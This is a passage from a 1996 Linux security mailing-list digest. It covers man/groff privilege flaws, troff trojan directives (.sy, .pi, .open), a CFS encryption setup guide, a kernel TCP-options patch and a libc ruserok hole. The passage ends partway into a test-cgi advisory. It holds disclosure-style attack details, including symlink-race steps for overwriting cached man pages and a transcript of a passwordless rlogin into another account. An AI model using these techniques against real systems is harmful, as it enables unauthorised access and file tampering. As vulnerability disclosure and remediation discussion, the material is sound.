specify NROFF, etc. Man pages in non-standard MANPATH locations should not be cached, or at least not cached with 'man' group privileges. Unfortunately, in RedHat, they are. ARGH! It's worse than I thought! Try this: PATH=$HOME/bin:${PATH-/usr/bin:/bin} mkdir -p $HOME/bin $HOME/man/man1 $HOME/man/cat1 cp /usr/man/man1/perl.1 $HOME/man/man1 man perl ls -l $HOME/man/cat1/ I get: total 6 6 -r--rw-r-- 1 zblaxell man 5129 Apr 15 10:42 perl.1.gz This means that I can overwrite *any* man page (or at least its cached copy) I like with *any* contents I like, since I control the contents of all the paths involved, the man page formatting processes, the search path for 'man', and I can win race conditions, and man doesn't use O_EXCL when open()ing its output. D'oh! Note that with the networked version of the man page cache I described, this problem doesn't happen. The 'man' command is not set[ug]id, and the network 'man daemon' can't be coerced into processing a man page submitted by a user. Back to the original problem... We can divide man pages into 'trustworthy' and 'untrustworthy' pages by using /etc/man.config. If a man page is found on a search path in this file, it is trustworthy, otherwise it is not. Man directories listed in /etc/man.config must be limited to directories that are controlled by trustworthy users, such as root. System man pages are written by someone trustworthy, and all other man pages, such as those written by users and located on the MANPATH, are not necessarily trustworthy. Then we simply never use 'man' privileges on 'untrustworthy' man pages. We can still cache 'untrustworthy' man pages if the userID invoking the 'man' program happens to have write permission to a nearby 'cat' directory, but this doesn't give users any more privileges than they had already. This would be useful for a user who for whatever reason has installed a man hierarchy in their home directory, perhaps for some privately installed programs. There should be some way to specify untrusted directories in /etc/man.config explicitly, so that users can find man pages by default without invoking privileges to format them--unfortunately, that means these man pages can never be cached as well, unless someone preformats the pages and stores them in the cache as an already-trusted user. Another nifty feature would be to allow user-specific man page caches and get rid of the shared cache altogether. The man page cache would be by default somewhere like $HOME/.catman, which may be a symlink elsewhere, or an environment variable named 'MANCACHEPATH'. This way nobody has to trust anyone but themselves, the system administrator, and whoever wrote the man page. ** In fact, just this one feature would solve almost all of the problems without adding very much complexity or new design at all. ** You can also make the RedHat-supplied 'man' command do this: umask 022 for n in 1 2 3 4 5 6 7 8 9 n; do mkdir -p $HOME/man/{man,cat}$n ln -fs /usr/{X11R6,local,}/man/man$n/* $HOME/man/man$n done mkdir $HOME/bin cp /usr/bin/man $HOME/bin # look ma, no setgid! chmod a-s $HOME/bin/man # just to be sure... then set MANPATH to "$HOME/man" and PATH to "$HOME/bin:${PATH-/usr/bin:/bin}". Then, whenever 'man' is invoked, it will search and use a user's own cache, without invoking or requiring special privileges. - -- Zygo Blaxell, Network admin, Linux system support, Windows '95 moral support Myrus Design Inc. Tel: +1 613 233 2339 Suite 203, 275 Bank St. 93 Glebe Avenue Ottawa, Ontario, Canada K2C 1E3 Ottawa, Ontario, Canada K1S 2C2 ------------------------------ From: Zygo Blaxell Date: Mon, 15 Apr 1996 15:29:54 -0400 (EDT) Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Quoted from [email protected]: > What is the use of unverified rumours? > What is `man'? Whatever RedHat uses. According to 'rpm': zblaxell@fludd:/var/lib/rpm$ rpm -q man man-1.4f-2 I'm using ftp://ftp.redhat.com/pub/current/i386/SRPMS/man-1.4f-2.src.rpm as a reference. Hmmm...I should have RTFMed... 'man man' says 'make man setuid-man' the rpm file installs man setGid man So there seems to be an installation error on RedHat's part (or whoever maintains the man-1.4f-2.rpm file anyway). (*) It should be installed mode 4555, owner man. Write permission for the owner (man) doesn't matter--if a user can make man overwrite arbitrary files as 'man', then attempting to modify /usr/bin/man while it is executing will fail with EBUSY; if the user can execute arbitrary commands as 'man', the user can chmod /usr/bin/man to something more friendly; we lose either way. > I know of some seven man programs in use under Linux, two in common use. > I maintain one of these - man-1.4* - and am not aware of security-related > bugs (although it is quite possible that some exist). > If anything is wrong, point it out, and it will be corrected. (!) There are some distressing things that still happen. One is that during man page creation I can get mode 666 files in the cache directory sometimes. (!) Currently, 'man' will use setgid privileges (if any) to manipulate cache pages in non-standard locations. I don't see any changes that RedHat might have made to create this bug, other than to make man setgid in the first place, so I assume the problem was already there. This can be fixed by the changes below. (*) The file permissions should be set in the open() call and/or by the umask before the open ever occurs--this will take care of mode 666 files. The open() call should also include O_EXCL, to guarantee that symlinks in the cache directories will not be followed while writing the cached man page. (*) Suggestion: Avoid the use of fopen(cache_page,"w"). Using fopen() to create files is almost always evil, especially in programs that might run with privileges in shared directories. Use this instead: FILE *safe_fopen_w(char *path) { /* open path in "w" mode */ int fd; FILE *fp; fd=open(path,O_WRONLY|O_CREAT|O_TRUNC|O_EXCL,0444); if (fd<0) return NULL; fp=fdopen(fd,"w"); return fp; } (*) man.config should be used to explicitly specify where 'man' privileges should be used to write cached pages; the user's original privileges should be used in *all* other places. This applies to both setuid-man and setgid-man versions. Note: Testing the permissions and ownership of the cache directory is not sufficient, because a user can control path components leading up to the cache directory, like this: MANPATH=/home/user/foo/bar/man/man1 mkdir /home/user/foo/BAR/man/{man,cat}1 ln -s /usr /home/user/foo/bar mv /home/user/evil-manpage.1 /home/user/foo/bar/man/man1/sh.1 man sh The user waits for 'man' to check the ownership of '/home/user/foo/bar/man/cat1' and be satisfied with it, then replaces 'bar' with 'BAR' and makes 'cat1/sh.1.gz' a symlink to whatever file she wants overwritten. Now the user waits for 'man' to open '/home/user/foo/bar/man/cat1/sh.1.gz' with 'man' privileges--note that the directory name '/home/user/foo/bar/man/cat1/' points to a very different directory now than it did before. (*) An alternative to listing directories for cache pages in man.config is to check every directory component of the cache page directory. This is somewhat more complicated to implement because unfortunately we're stuck with Unix's security model. Feel free to ignore everything up to the next star in brackets. If any directory component of a cache directory is writable by any user other than root or man, drop all privileges. If any directory component is a symlink, chdir() to the pathname so far, replace that component and all previous components with the result of getcwd(), and start over. The actual writability test is: (owned by root OR owned by man OR on a list of approved users) AND (owned by group man OR not-group-writable) AND not-world-writable Example: Assume symlink /usr/man -> /disk-three/usr/man For a man page in /usr/man/man1/sh.1, the cache directory is '/usr/man/cat1/'. To test this directory ("/usr/man/cat1"), do the following: lstat("/usr") - a directory writable only by 'man' or 'root'. OK. lstat("/usr/man") - a symlink owned by 'man' or 'root'. OK. chdir("/usr/man") - OK getcwd(buf,size) - get current directory - /disk-three/usr/man We followed a symlink, so start over with '/disk-three/usr/man/cat1'. lstat("/disk-three") - directory writable only... OK lstat("/disk-three/usr") - directory writable only... OK lstat("/disk-three/usr/man") - directory writable only... OK lstat("/disk-three/usr/man/cat1") - directory writable only... OK OK. End of test. Still OK. This test will correctly fail if a user has control over pathname components. If '/home/foo/man/usr-symlink/cat1' is passed to the test, it will fail because '/home/foo' will fail the writability test. Incidentally, if a cache directory derived from the user's MANPATH does not begin with "/", then drop all privileges. Also, man.config may have to specify a list 'approved users', for sites that have a lot of software maintained by users trusted to install software for the user community but not to have root privileges. (*) There's a robustness/reliability issue: output for cached man pages goes directly into a file opened O_CREAT|O_TRUNC. If the system crashes or the formatting program is interrupted by the user, this page will be invalid but will have a newer timestamp than the original man page. Ideally a temporary file would be created first, then rename()d to the final cached man page name. (*) There's a chmod() call on the cached man page that is unnecessary. The permissions can be set as described above with proper use of open() or umask() and the chmod() call can be removed. (*) It's possible for a user to attach a debugger to the man page formatting program and take control of the man page formatting software to produce arbitrary output for cached man pages. This can be avoided by carefully destroying the environment of the man page formatting software (simply not passing 'envp' to execve() is enough), closing all open file descriptors, resetting alarms (alarm(0)), resetting resource limits (coredumpsize=0, datasize=unlimited, cputime=unlimited...), setting signal handlers (ignore most of them), and running it as user 'man', out of reach of the debugger. I think I got everything that needs to be done in that list. - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Zygo Blaxell Date: Mon, 15 Apr 1996 16:28:58 -0400 (EDT) Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Quoted from Olaf Kirch: > Rogier Wolff wrote: > > [Unverified rumor] > > Ehm.... while on the subject of "man" bugs, man and/or groff will run > > arbitrary programs under specification of the man-page-writer....... > > That would be a nasty. groff supports the .sy command to run arbitrary > programs. I just checked all of RedHat's man pages; none of them seem to use a .sy command. This sounds like a feature we can just patch out of groff and forget about (except possibly to refuse to process man pages with '.sy' in them after preprocessing). We can also assume that system man pages in root-configured paths are free of .sy directives or at least contain only harmless ones. > In combination with being able to do `man ./foo.1' that's a hole > regardless of whether it's setuid or setgid. Since the output of ./foo.1 would not be cached in the system's shared man page cache, it does not need to be formatted with any special privileges. The man command would simply drop its privileges and continue as the invoking user. Indeed, it tries to do this now, but not very well. Remember we are trying to protect the integrity of the shared catman cache. Anything else we don't need or want extra privileges for, and we can let the users run what they like. However, for the shared catman cache, the user should have no control over the formatting process other than to initially invoke it and read its output. - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Olaf Kirch Date: Wed, 17 Apr 1996 00:15:13 +0200 Subject: [linux-security] Trojan manpages summary and suggestions Hi all, Since the discussion is starting to repeat itself, I think it may be useful to summarize at this point what we have so far (gleaned from the list and some private email exchange). * .sy (and .pi, used to pipe stuff into a command) have been around for a long time, and are documented in the AT&T troff user's manual. groff adds its own set of potentially dangerous commands: .open and .opena which let you open a file for writing (documented in gtroff(1)), and .pso (pipe source, read from a shell command). These commands do have legitimate uses. The psfig macro package, for instance, has to run the psbb command to find the bounding box of a postscript image; .open and .sy are used by GNU mm macros to produce cross-references. * There are two problems with man: On one hand, if man fails to reset euid and/or egid, users may be able to write to files owned by the man user or group. This may even be true for the man binary itself if it runs groff under the man uid, or if it runs groff under the man gid and /usr/bin/man is group-writable. The solution to this one is to reset uid/gid properly. The second problem is that manpages may contain evil commands that compromise the account of whoever happens to format them. * As far as trojan manpages are concerned, you can remove potentially dangerous commands by adding the following to /usr/lib/groff/tmac/tmac.andoc and .../tmac.an: .rm sy .rm pi .rm open .rm opena Note that this alone does not plug the hole if you're not fixing the setgid problem at the same time; users can ask groff to read its macro packages from an alternative directory by setting the GROFF_TMAC_PATH environment variable. Things get a little complicated with gpic. It has a directive named `sh' that (you guessed it) will run a shell command. By default, man doesn't run this command, but man_db has one helpful feature that lets you request the set of preprocessors by adding a special comment in the first line of the file ('\" ). The fix is to make man run pic with the -S (`safer') flag. * man is not the only application that might be affected by troff trojans. Although they may not be widely used, there are *roff MIME types; if you have those in your mailcap file(s), remove them. Disclaimer: this list may be incomplete. If anyone thinks that this is reminiscent of the ghostscript hole a while ago, I'll agree instantly:-) Cheers Olaf - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 17 Apr 1996 17:14:41 -0400 Subject: [linux-security] LSF: Cryptographic Filesystem under Linux - -----BEGIN PGP SIGNED MESSAGE----- Cryptographic File System under Linux HOW-TO LINUX SECURITY FAQ March 14, 1996 Copyright (C) 1996 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY USA This document describes how to compile, install and setup CFS that was written by Matt Blaze of AT&T, under Linux. The following copyright statement copied directly from CFS 1.12 describes the restrictions on the CFS usage: * The author of this software is Matt Blaze. * Copyright (c) 1992, 1993, 1994 by AT&T. * Permission to use, copy, and modify this software without fee * is hereby granted, provided that this entire notice is included in * all copies of any software which is or includes a copy or * modification of this software and in all copies of the supporting * documentation for such software. * * This software is subject to United States export controls. You may * not export it, in whole or in part, or cause or allow such export, * through act or omission, without prior authorization from the United * States government and written permission from AT&T. In particular, * you may not make any part of this software available for general or * unrestricted distribution to others, nor may you disclose this software * to persons other than citizens and permanent residents of the United * States and Canada. * * THIS SOFTWARE IS BEING PROVIDED "AS IS", WITHOUT ANY EXPRESS OR IMPLIED * WARRANTY. IN PARTICULAR, NEITHER THE AUTHORS NOR AT&T MAKE ANY * REPRESENTATION OR WARRANTY OF ANY KIND CONCERNING THE MERCHANTABILITY * OF THIS SOFTWARE OR ITS FITNESS FOR ANY PARTICULAR PURPOSE. Although the information in this document is believed to be correct, neither the Author nor CIS Laboratories, nor Temple University provides any kind of WARRANTIES and is not/are not responsible for what happens if you follow these guidelines. The information in this document is provided AS IS! ABOUT CFS CFS provides application-independent encryption/decryption of the filesystem layer that does not require modification of the underlying filesystem code nor any kind of modification of the kernel source. The symmetric cipher implemented in the mainstream version of CFS is based on the modified DES cipher running in CBC mode making the brute-force attack against the usual 56-bit DES key-space unrealistic. The structure of CFS makes replacement of the mainstream DES cipher with a Fast-DES or any other symmetric cipher an extremely straightforward process. Please refer to the "White" paper about CFS for more information (ftp://bach.cis.temple.edu/pub/Papers/cfs.ps) COMPILING AND INSTALLING CFS CFS does not compile "out of the box" under Linux. Follow these instructions to get CFS running or your Linux system. There are several methods to make CFS work under Linux, the cleanest one of which is based on the modifications performed by Olaf Kirch. His version of CFS is available from: ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.tar.gz Olaf signed the modified archive. The PGP signature for the modified version of the cfs-1.1.2 can be obtained from ftp://ftp.mathematik.th-darmstadt.de/pub/linux/okir/cfs-1.1.2.pgp In single-user mode, compile CFS by using the "make" command. After compilation is completed, install "cfsd", "cdetach", "ccat", "cmkdir", "cname" and "cattach" to the /usr/local/sbin directory with the ownership "root:wheel" and the access mode "551". Generate a list of MD5 hashes of the clean binaries. Now copy these files together with the "md5sum" to a media such as an image of a CD or a floppy and make the media write protected. Create the directory /.cfsfs which will be used as a hook for the CFS server. Make that directory owned by root:root and protected with access mode "000". Create the directory /securefs which will become a root of the CFS tree. Add the following lines into your /etc/rc.d/rc.local: echo -n "Initializing secure filesystem: " if [ -x /usr/local/sbin/cfsd ]; then /usr/local/sbin/cfsd > /dev/null echo -n "cfsd " /bin/mount -o port=3049,intr localhost:/.cfsfs /securefs echo -n "loopback " echo "done" else echo "Cryptographic Filesystem is not installed" fi Users of the Caldera Network Desktop and Red Hat Commercial Linux distributions should add the file "cfsfs" that is attached at the end of this document to their /etc/rc.d/init.d directory. Then symlink the file "S65cfsfs" to it in the appropriate run-level directories using the command: ln -s ../init.d/cfsfs S65cfsfs in /etc/rc.d/rcX.d, where X is a run-level number, add the line: /.cfsfs localhost to /etc/exports. Finally, add the line: portmap: 127.0.0.1 to the /etc/hosts.allow file. You should now restart your computer. When it comes back into a multiuser mode, issue a mount command to verify that CFS is running. If everything was successful, you should see a new line in a list of filesystems: localhost:/.cfsfs on /securefs type nfs (rw,port=3049,intr,addr=127.0.0.1) CREATING CFS DIRECTORY To create a CFS protected directory called "secret" use the command cmkdir secret You will be requested to supply and verify the passphrase. If you succeed, a new directory named "secret" will appear in the current directory. This directory will contain encrypted information which will be accessible only in the encrypted form unless it is attached to the CFS tree. In order to add the "secret" directory to a list of directories managed by CFS, it has to be attached to the CFS tree using the command: cattach secret Big-Secret CFS will request you to type the access passphrase. If it matches the passphrase supplied to the "cmkdir" command that created the directory originally, then the information in the secret directory will be accessible in a non-encrypted form under /securefs/Big-Secret to the user who supplied the correct passphrase. Please note that usually it takes about a minute to attach a protected directory to the CFS tree. When the user is finished manipulating the information they should issue the command: cdetach Big-Secret to destroy the access key. This command removes the directory "secret" from the list of directories managed by CFS making it impossible to access cleartext information in that directory until it is again attached using the "cattach" command. PROTECTION OF CFS In order to grant a user access to encrypted parts of the directory tree, CFS requires the user to supply a passphrase that is used to generate a set of access keys. A compromise of a passphrase allows an intruder to access the encrypted information through the Unix security model. Therefore it is extremely important to protect access passphrases. There are two basic ways that can be used by intruders to gain access to your passphrase. They are (1) Sniffer attacks (2) Attack against the protocol. The following simple guidelines can be used to minimize the possibility of a successful attack against CFS: 1. Make sure that the CFS binaries are not compromised in any form. * Ensure that "cattach", "ccat", "cmkdir", "cname", the CFS server "cfsd" and finally, "cdattach" are not replaced with Trojan versions that record access passphrases or, in a case of "cfsd", access keys. * Ensure that the CFS server is not compromised in a way that it does not perform the encryption procedure correctly. * An attack against "cdeattach" usually involves a small modification that prevents correct destruction of access keys allowing an intruder to gain access to a supposedly detached part of the directory tree. The simplest way to verify that binaries are not compromised is to statically link them and place them on a CD. Another way is to again statically link the binaries, use "md5sum" message-digest calculator and write their MD5 hashes onto a write-protected media. Prior to using any CFS programs on a system, mount the floppy disk and compare MD5 hashes of binaries on the system with the hashes of the clean statically linked copies located on the floppy disk, replacing the compromised versions. 2. Keyboard grabbers used to grab passphrases as they are being typed rely on the fact that most users are careless enough to ignore the following simple guidelines: 1. When typing a passphrase in an xterm, make sure that the xterm program is not compromised and use the "Secure Keyboard" option while typing the passphrase. This prevents keystrokes from being intercepted by X grabbers. 2. Type passphrases from a terminal attached directly to a serial port of the system when such terminal is available. 3. Make sure that your pty and ttys permissions disallow others from reading your keystrokes directly from the device node. 3. Never type your passphrase across the network, even if the network is located behind a firewall and you trust everybody who is connected to your network not to use sniffers. This also applies to networks that use scrambling routers, because there is absolutely no guarantee that routers use a strong encryption or do not have a back door or a loophole that potentially can allow an intruder to defeat encryption used by a router. If you have to type your password across the network, do it only if you are using an encrypted tunnel between systems such as the one created by the deslogin(8) protocol. 4. Always de-attach CFS protected trees from the filesystem when not using them, even when you are leaving your system for "only" a couple of minutes. KNOWN PROBLEMS WITH CFS At this moment there is only one problem that can be reproduced. "Permission denied" error is generated when a user attempts to access the files located on a compact disc. CREDITS The following people helped in the preporation process of this document: Topher Hughes of the Dickinson College, Elie Rosenblum of the Montgomery Blair High School, Mario D. Santana of the Florida State University, Daniel P Zepeda and Olaf Kirch. ====================[cfsfs]====================== #!/bin/sh # # $Header: /Secure/secure-doc/linux/CFS/RCS/CFS-Doc,v 1.4 1996/03/15 04:49:37 alex Exp alex $ # # cfsfs Crypto filesystem # # Author: Alexander O. Yuriev # Derived from cron # Source function library. . /etc/rc.d/init.d/functions # See how we were called. case "$1" in start) echo -n "Starting Crypto Filesystem: " if [ -x /usr/local/sbin/cfsd ]; then /usr/local/sbin/cfsd > /dev/null /bin/mount -o port=3049,intr localhost:/.cfsfs /securefs echo "done" else echo -n "Crypto Filesystem is not installed" fi touch /var/lock/subsys/cfsfs ;; stop) echo -n "Stopping Crypto filesystem: " umount /securefs killproc cfsd echo rm -f /var/lock/subsys/cfsfs ;; *) echo "Usage: cfsfs {start|stop}" exit 1 esac exit 0 ====================[end of cfsfs]====================== - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMXVewoxFUz2t8+6VAQHHoAP/WEZ9luRJ/gFgQydBbEfM2vXTF/1VCe7D KoT3X5bRP+zZVufGt6B6n0IjDUXFX/Lv6264ZZ6jF/BKO9mrLxoGI5sA6Y6HQ7fb DFy8+XdZhponnuih3eJ5z46bRwLWVd+lr2+ORK17ukTLbsY65kzF3wTzczRNqL9G wPN6j3+LVXE= =BEE2 - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V2 #16 *********************************** linux-security-digest/v02.n017100664 1767 1767 43743 6137376127 15467 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #17 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 24 April 1996 Volume 02 : Number 017 Re: [linux-security] Security problems in RedHat 3.0.3... [linux-security] samba security hole... [linux-security] TCP Security Bug *READ ASAP* [linux-security] Re: Alinux-securityA samba security hole... [linux-security] WARNING: libc/ruserok security hole [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] Re: WARNING: libc/ruserok security hole [linux-security] WARNING: libc/ruserok security hole (fwd) [linux-security] BoS: test-cgi problem (fwd) ---------------------------------------------------------------------- From: Zygo Blaxell Date: Wed, 17 Apr 1996 16:55:32 -0400 (EDT) Subject: Re: [linux-security] Security problems in RedHat 3.0.3... Quoted from Steve \"Stevers!\" Coile: > > I just checked all of RedHat's man pages; none of them seem to use a .sy > > command. This sounds like a feature we can just patch out of groff and > > forget about (except possibly to refuse to process man pages with '.sy' > > in them after preprocessing). > > Patch out of groff?! And what about everyone using that > functionatilty? Just tell 'em, "tough luck, our purposes before > yours"? No, that's an unacceptable answer. If you're going to patch > groff, add a feature to *selectively* disable ".sy", not disable it > altogether. Errr...I'm sure I meant 'make .sy non-default for groff with a flag to enable it' rather than 'remove it completely'. If you must, then switch the sense of the flag; just put the flag in and document its function, fix 'man' to use the flag, and I'll be happy. That said, I think it would be a useful security policy for all programs (under Linux or anything else) to by default *not* allow you to run shell programs taken from their input files (i.e. via ghostscript, nroff, etc). Most packages have no problems dealing with odd variants of groff anyway, and few enough of those use .sy that changing them shouldn't be a problem. How many real postscript files, files that you expect to send to a real PostScript printer to generate printed output, use the pipe or write-to-file features? Why does ghostscript need to enable these features by default? There's something to be said for least surprise. On the one hand, it is surprising for people who use .sy to suddenly require a command-line option to groff to get it to work; on the other hand, it is surprising for new Unix users to find out that reading a formatted text file is a security hole (I've been using Unix for four years, and I was surprised by this one). Who would you rather surprise? > > We can also assume that system man pages in root-configured paths are > > free of .sy directives or at least contain only harmless ones. There's also the possibility of configuring groff or man with a list of 'approved' .sy, .open, .pi, etc commands and filtering the input to reject any other ones (or for man to proceed without using the caching mechanism, which would require extra privileges). This sounds like a lot of trouble; I'd prefer establishing the rule that man pages read by the 'man' command either a) can't execute programs, period, or b) can execute programs, but with the original user's privileges, and without using the privileged shared cache mechanism. > We can *assume*?! Geezus, is that how you handle security, through > *assumptions*? We can't *assume* anything. I can assume that it is safe for me to execute programs stored in binaries owned by root and stored in directories such that only root can manipulate their contents. These programs are as trustworthy as the system integrator who compiled, verified, and installed them (and as trustworthy as the least trustworthy program running with elevated privileges, but we'll leave weaknesses in the Unix security model aside for now). Without this assumption, the whole Unix security model goes away as there's nothing left. I merely proposed extending the set of trustworthy programs to include man pages that have the same characteristics as the binaries in /bin and friends. If the man page was installed by the system administrator, then it's probably OK to assume that any programs it invokes are programs that the system administrator approves of--otherwise, why did the system administrator install them in the first place? Educating sysadmins, of course, is a separate problem. ;-) Of course, as I pointed out a few times by now, a privileged 'man' program has to be able to distinguish between man pages installed by the sysadmin and man pages presented to it by random users, to determine whether it should use its privileges to write cache pages. > Either we prohibit the use > of ".sy" in manual pages, or we find a way to support them safely. We > don't *assume* they don't exist or can be safely ignored, we *find > out*. I just checked my (RedHat 3.0.3, all packages installed) man page database for '.sy', '.pi', and '.open'. None of these seem to be used in man pages (except '.open', which appears twice in the gtroff(1) man page, but as data--it occurs in the middle of its own documentation). It would therefore seem to be safe to reject these requests in the special case of man pages. Are there any packages that have *man pages* that use these features, and if so, how difficult would it be to wean them off of .sy and friends? (I would imagine a quick shell script run at install time could generate a .sy-free version of the man page). > Personally, I like the idea of a man page client and server. :) - -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong ------------------------------ From: Earth Fire Wind Water Date: Tue, 16 Apr 1996 18:53:21 -0500 (CDT) Subject: [linux-security] samba security hole... I know this might not be a good place to ask this but I have heard of a rumour of a big security hole with samba... is there any truth to this and if so can someone point me to look for documentation on this? Jimmy Leow [Mod: Please direct replies to the author and not to the mailing list. A summary of the replies may be posted to the list if there is sufficient content. --Jeff.] ------------------------------ From: [email protected] Date: Wed, 17 Apr 1996 23:14:31 -0700 (PDT) Subject: [linux-security] TCP Security Bug *READ ASAP* Here is an unofficial patch I would suggest using to prevent kernel panic's from specially constructed TCP packets until an official patch becomes available. I have sent exploit information into Linus and Alan so something official shouldnt be too far off. I will make exploit information available publically as soon as I get official word back from Alan & Linus. - --- linux/net/ipv4/ip_options.c Wed Apr 17 21:39:44 1996 +++ linux/net/ipv4/ip_options.c.old Wed Apr 17 21:39:44 1996 @@ -281,7 +281,6 @@ } switch (*optptr) { - -#ifdef USE_BROKEN_SR case IPOPT_SSRR: case IPOPT_LSRR: if (optlen < 3) @@ -347,7 +346,6 @@ } opt->rr = optptr - iph; break; - -#endif case IPOPT_TIMESTAMP: if (opt->ts) { +-----------------------------------------+ | Kit Knox - System Administrator | | CONNECTnet - http://www.connectnet.com/ | +-----------------------------------------+ ------------------------------ From: Andrew Tridgell Date: Fri, 19 Apr 1996 12:20:03 +1000 Subject: [linux-security] Re: Alinux-securityA samba security hole... > From: Earth Fire Wind Water > > I know this might not be a good place to ask this but I have heard of a > rumour of a big security hole with samba... is there any truth to this > and if so can someone point me to look for documentation on this? It turns out that this rumour originated from a magazine article. It almost certainly was one of the bunch of magazine articles on the microsoft windows "cd ..." bug which can be exploited using smbclient. Smbclient comes with samba. The microsoft PR people managed to twist their announcement of this bug to make it sound like a samba bug. I have subsequently received apologies from senior MS people. If you are interested in this bug or other related bugs have a look at http://samba.canberra.edu.au/pub/samba If anyone knows of any real security holes in samba then please let me know. I try to be very careful about security issues in samba. Andrew ------------------------------ From: Joel Maslak Date: Sun, 21 Apr 1996 15:15:40 -0600 (MDT) Subject: [linux-security] WARNING: libc/ruserok security hole libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. Scope: If your system uses rlogin/rsh, local and remote users may rsh/rlogin to an arbitrary account on your system. Fix: Method (1): downgrade libc. I know 5.0.9 is secure. Method (2): add user name specifications to all .rhosts files. I.E.: .rhosts: plains.uwyo.edu jmaslak NOT: plains.uwyo.edu Without a user specification, libc-5.3.9 IS INSECURE!! Method (3): remove in.rlogind and in.rshd from /etc/inetd.conf This affects ALL distributions and ALL versions of rlogin/rsh/login. If you need more info, contact [email protected]. At the bottom of this message is a transcript of a session. I telneted to a UW system, where my user name was jmaslak. I was able to rlogin DIRECTLY into the monitor account on blackfire.com, WITHOUT ENTERING A PASSWORD. The problem lies in the ruserok() function in libc. As always, it's recommended that ALL users change their passwords on an affected system. Joel Maslak Motto of the Bomb Squad: If you see us running, you better catch up. - ---- Trying 129.72.254.219... Connected to horseman.uwyo.edu. Escape character is '^]'. OSF/1 (horseman.uwyo.edu) (ttyp9) login: jmaslak Password: Last successful login for jmaslak: Sun Apr 21 14:31:13 1996 from 129.72.170.126 Last unsuccessful login for jmaslak: Sun Apr 21 14:40:39 1996 on ttyp9 horseman.uwyo.edu> who am i jmaslak ttyp9 Apr 21 14:40 horseman.uwyo.edu> rlogin blackfire.com -l monitor Last login: Sun Apr 21 14:06:57 on ttyp0 from horseman.uwyo.e Linux 1.3.93.pentium.jcm -- Greased HeadgeHog on Steroids No mail. Tact is the ability to tell a man he has an open mind when he has a hole in his head. blackhole:~> whoami monitor blackhole:~> cat .rhosts localhost horseman.uwyo.edu blackhole:~> ------------------------------ From: [email protected] Date: Sun, 21 Apr 1996 19:14:09 -0700 (MST) Subject: [linux-security] Re: WARNING: libc/ruserok security hole On Sun, 21 Apr 1996, Joel Maslak wrote: > > libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. > > Scope: If your system uses rlogin/rsh, local and remote users may > rsh/rlogin to an arbitrary account on your system. > > Fix: > Method (1): downgrade libc. I know 5.0.9 is secure. > Method (2): add user name specifications to all .rhosts files. > > I.E.: .rhosts: > plains.uwyo.edu jmaslak > > NOT: > plains.uwyo.edu > um... this might not be enough. i was able to rlogin to every other account on my machine (except root) with: rlogin localhost -l even when i put in the user name specification. it didn't matter if there was a .rhosts file there or not. taking "localhost" out of /etc/hosts.equiv fixed that tho. and some (most?) distributions come with localhost in there... jeff - --- Why Linux? source code. POSIX. tcpip. job control. support from the authors. drivers for most hardware. because one terminal or process is never enough. forget the other O/Ss, i use Linux- the choice of a GNU generation. ------------------------------ From: Steven L Baur Date: 22 Apr 1996 00:13:10 -0700 Subject: [linux-security] Re: WARNING: libc/ruserok security hole >>>>> "Joel" == Joel Maslak writes: Joel> libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. Joel> Scope: If your system uses rlogin/rsh, local and remote users may Joel> rsh/rlogin to an arbitrary account on your system. Joel> Fix: Joel> Method (1): downgrade libc. I know 5.0.9 is secure. Joel> Method (2): add user name specifications to all .rhosts files. Joel> I.E.: .rhosts: Joel> plains.uwyo.edu jmaslak Joel> NOT: Joel> plains.uwyo.edu Joel> Without a user specification, libc-5.3.9 IS INSECURE!! This bug affects 5.3.11 as well, and does not require .rhosts -- hosts.equiv triggers the same thing. Removing the -DYP from Makeconfig, and rebuilding libc seems to cure this problem. - -- [email protected] baur Unsolicited commercial e-mail will be proofread for $250/hour. Andrea Seastrand: For your vote on the Telecom bill, I will vote for anyone except you in November. ------------------------------ From: [email protected] Date: Mon, 22 Apr 1996 10:38:02 +0200 Subject: [linux-security] WARNING: libc/ruserok security hole (fwd) Ouch. Apparently, /etc/hosts.equiv is also insecure. [Mod: Attached forward of Joel Maslak's post trimmed off. --Jeff.] ------------------------------ From: [email protected] Date: Tue, 23 Apr 1996 16:46:09 -0400 (EDT) Subject: [linux-security] BoS: test-cgi problem (fwd) Here is something that everyone should be aware of. Please see my notes at the end of the message for information on other repercussions/problems that the test-cgi script has... *=UNIX*=*=Programming=*=*__INTERESTS__*=*=*=Internet*=*=Graphics*=*=WWW=* Elliot Lee | Computer Science Student | 7600 Flower Ave. [email protected] | Columbia Union College | Takoma Park, MD 20912 USA http://www.cs.cuc.edu/~sopwith/ | (301) 891-4260 - ---------- Forwarded message ---------- >From: Mudge (uberhuman?) L0pht Report test-cgi vulnerability in certain setups Affected Program: test-cgi scripts found on various web servers. Severity: Anyone can remotely inventory the files on a machine. Author: [email protected] Synopsis: On many web sites there exists a file called test-cgi (usually in the 